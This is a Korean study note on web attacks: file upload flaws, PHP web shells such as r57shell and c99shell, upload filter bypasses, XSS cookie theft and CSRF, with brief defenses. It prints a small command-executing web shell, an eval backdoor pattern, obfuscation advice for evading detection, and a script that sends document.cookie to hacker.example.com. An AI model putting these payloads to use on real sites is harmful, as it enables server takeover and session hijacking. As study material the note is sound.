파일

2.5 파일 업로드

  • 공격방법

    -> 업로드 취약점을 통해 웹 쉘을 서버에 업로드 & 웹 쉘을 통해 웹 어플리케이션 권한으로 시스템 명령어 실행

2.5.1 웹 쉘 제작

r57shell

image

  • Command : 시스템 명령어 수행
  • File for edit : 파일 수정

=> 데이터베이스를 접속하는 PHP 파일 열람하여 DB 계정 획득 & Run SQL query 기능으로 데이터 베이스 쿼리문 수행하여 개인정보 탈취

image

  • 기능
    • phpinfo() (PHP 정보 출력)
    • CPU, 메모리 사용량 측정
    • MySQL, MS-SQL, PstgreSQL, Oracle의 쿼리 실행, 덤프
    • 시스템 명령어 실행
    • 파일 수정
    • 파일 찾기
    • PHP 코드 실행
    • 파일 업로드, 다운로드
    • FTP 접속
    • 이메일 전송
    • Self Remover
  • 특징

    -> 시그니처 기반의 백신 탐지를 우회하기 위해 base64로 인코딩 되어있음

    ​ => 코드의 “eval”을 “echo”로 변환하면 코드 분석 가능

c99shell

-> r57shell에 비해 인터페이스가 더 깔끔하고 기능도 추가됨

  • 기능
    • 탐색기
    • 실행 중인 프로세스 목록
    • MySQL 쿼리 실행
    • 시스템 명령어 실행
    • 파일 수정
    • 파일 찾기
    • PHP 코드 실행
    • 파일 업로드
    • FTP Brute Force
    • Reverse Telnet
    • En/Decoder
    • Self Remove

공격 방법

: eval($_POST[‘q’]) 같은 코드를 심어서 ‘q’ 파라미터에 웹쉘과 명령어를 함께 전송

​ -> 대부분 POST 메소드를 이용해 실행하는데, 아파치의 로그 파일은 POST 전송 데이터 기록 안하기 때문

웹 쉘 함수

  • 직접적으로 시스템 명령어 실행하는 함수

    system
    exec
    passthru
    popen
    shell_exec
    curl_exec
    ``
    
  • PHP 실행 or callback 사용함수

    eval
    preg_replace( /e option)
    preg_replace_callback
    create_function
    call_user_func
    
  • 파일시스템 관련함수

    Fopen
    copy
    chown
    chmod
    file_get_contents
    mkdir
    rmdir
    unlink
    * move_ uploaded_ file
    move_ uploaded_ file
    glob
    opendir
    readdir
    ...
    

=> php.ini의 disable_functions로 함수 사용 못하도록 비활성화하여 웹쉘 차단가능

예제) PHP 웹 쉘 코드

$cmd = $_GET['cmd'];
$result = '$cmd';
$result = str_replace("\n","<br />",$result);
echo $result;
// 'cmd'를 인자로 받아, Backtick을 이용해 시스템 명령어 실행
	
echo trim('whoami').'@'.trim(`hostname`).':'.getcwd()."<br /><br />";
//서버 정보명 출력
	 
if($_GET[dir] == "") $dir = ".";
else		$dir= $_GET[dir];
chdir($dir);
	 
$dh = opendir(".");
while (($file = readdir($dh)) !== false){
if(is_dir($file)) echo "<a href=".$_SERVER['PHP_SELF']."?dir=".$dir."/".$file."</a>";
else echo $file;
	 
echo "<br />";
}
closedir($dh);
//현재 폴더 출력

=> 웹 쉘 탐지 솔루션은 패턴 기반으로 탐지하므로, 암호화하거나 난독화하여 우회

2.5.2 파일 업로드 취약점 공격

공격 시나리오

  1. PHP 웹 쉘 파일 업로드 & 웹 쉘 파일 요청

    -> 시스템 명령어 수행

  2. 업로드 경로 파악

    ex) 이미지의 속성값으로 업로드 경로 파악/ 업로드 패턴파악..

  3. 악성 PHP 파일 경로 요청

    -> PHP파일 실행

=> 서버에 원하는 명령어 내리기나 데이터베이스, 소스코드 등 서버 정보 탈취가능

2.5.3 파일 업로드 우회기법

php.kr 우회기법

  • 아파치의 AddLanguage 옵션으로 발생

  • 파일명이 vuln.php.kr 일때도 PHP 파일 실행

    => 확장자가 php가 아니므로 필터링을 우회 가능

.htaccess 업로드 취약점

  • 여러 아파치 옵션 변경 가능
  • Addtype 같은 옵션으로 원하는 확장자를 PHP코드로 실행가능

환경 취약점

  • 윈도우에서 파일 업로드시 파일명에 콜론(:) 붙이면 그 뒤 문자열 삭제

    ex) abc.php:.jpg -> abc.php파일 업로드

2.5.4 파일 업로드 방어 기법

1. “php_value engine off” 내용의 .htaccess 파일을 업로드 폴더에 생성

2. .htaccess 파일을 사용자가 업로드하지 못하도록 필터링

2.6 크로스 사이트 스크립팅 (XSS)

2.6.1 크로스 사이트 스크립팅

XSS 공격

: 웹 페이지에 스크립트를 삽입할 수 있는 취약점

  • Reflected XSS

​ -> 사용자가 입력한 값이 응답 페이지에서 실행

echo $_GET['msg'];
//xss.php에 msg를 GET으로 넘김
-> http://localhost/xss.php?msg=<script>alert(/XSS/)</script> 실행됨

image

-> 실수로 포스팅할때 alert가 실행됨ㅎㅎ

  • Stored XSS

    ->사용자의 입력값을 그대로 저장해 출력하는 경우, 악의적인 사용자가 악성 스크립트 글 작성하여 글을 읽으면 악성코드 실행

    • 태그를 이용한 스크립트 실행

      image

2.6.2 쿠키 공격

쿠키

  • 역할

    -> 서버와 클라이언트를 매개

  • 취약점

    -> 클라이언트 단의 기록서이므로 변조 가능

=> 따라서 쿠키보다는 ‘세션’ 이용한 인증 방식이 주로 사용됨

세션 인증방식

  1. 로그인 성공
  2. 서버에 sess_[고유문자] 이름의 파일 생성
  3. 해당 파일 내용에 로그인 정보 기록
  4. 클라이언트 쿠키에 PHPSESSID=[고유문자] 저장
  5. 클라이언트는 요청 시 쿠키값(PHPSESSID =[고유문자])과 함께 전송
  6. 서버는 쿠키의 PHPSESSID 값을 받아 sess_[고유문자]의 파일을 읽어 로그인 정보 확인

쿠키 = ‘클라이언트’에 저장되는 정보

세션 = ‘서버’에 저장되고 쿠키에 세션 이름 등록

쿠키 탈취 공격

  • JS에서 현재 페이지의 쿠키는 document.cookie에 담기고 XSS 공격은 JS로 실행 가능

    => document.cookie 값을 해커의 서버로 넘겨 쿠키 탈취

1. 이메일 서비스에 XSS 취약점 존재 테스트

-> 이메일 편지쓰기 기능으로 <script>alert('XSS!');</script>라는 alert창 띄우는 스크립트 전송

image image ->여기도 실제로 내 블로그에서 실행됨..!신기

2. 쿠키 훔치기

  1. 해커 서버의 log 파라미터에 쿠키값을 담아 이동
<script>
window.location = "http://hacker.example.com/xss.php?log=" + document.cookie
</script>

​ -> xss.php파일에 log 파라미터로 쿠키값 전달 & PHP 스크립트는 쿠키값을 받아 파일로 저장

  1. 관리자에게 악성 스크립트 전송

    image

  2. 관리자가 이메일 체크

    image

  3. 이메일 확인시 스크립트에 의해 해커 서버로 쿠키 정보 이동

    image

  4. 해커 서버에 log.txt에 남은 쿠키 정보 기록

    image

  5. 쿠키 정보로 관리자 인증

2.6.3 크로스 사이트 스크립팅으로 가능한 것들

image

2.6.4 사이트 간 요청 위조 공격

CSRF (Cross Site Request Forgery)

: 사용자가 자신의 의지와 무관하게 해커가 원하는 주소를 요청

ex) 회원정보 수정페이지

  • 회원정보수정버튼

    -> POST 메소드 혹은 GET 메소드로 데이터 전송

    => GET메소드로 인자 전달시 주소는 다음과 같음

http://example.com/admin/member_modify_ok.php/no=198&pass=1234&passre=1234&grade=1grade

-> 인자가 1일때 일반 등급, 인자가 2일떄 관리자 등급이라 하자

**<방법>**

  • 이미지 태그를 심어 보내기

    <IMG SRC= http://ecample.com/admin/member_modify_ok.php?no=198&pass=1234&passre=1234&grade=2
    

    -> 회원번호 198번을 관리자 등급으로 변경

2.6.5 방어기법

  • 태그 괄호 <>를 엔티티 문자인 /&lt 와 /&gt로 치환하여 태그 막기

    -> 오늘날은 에디터 기능 사용으로 복잡한 필터링 방식 거쳐야함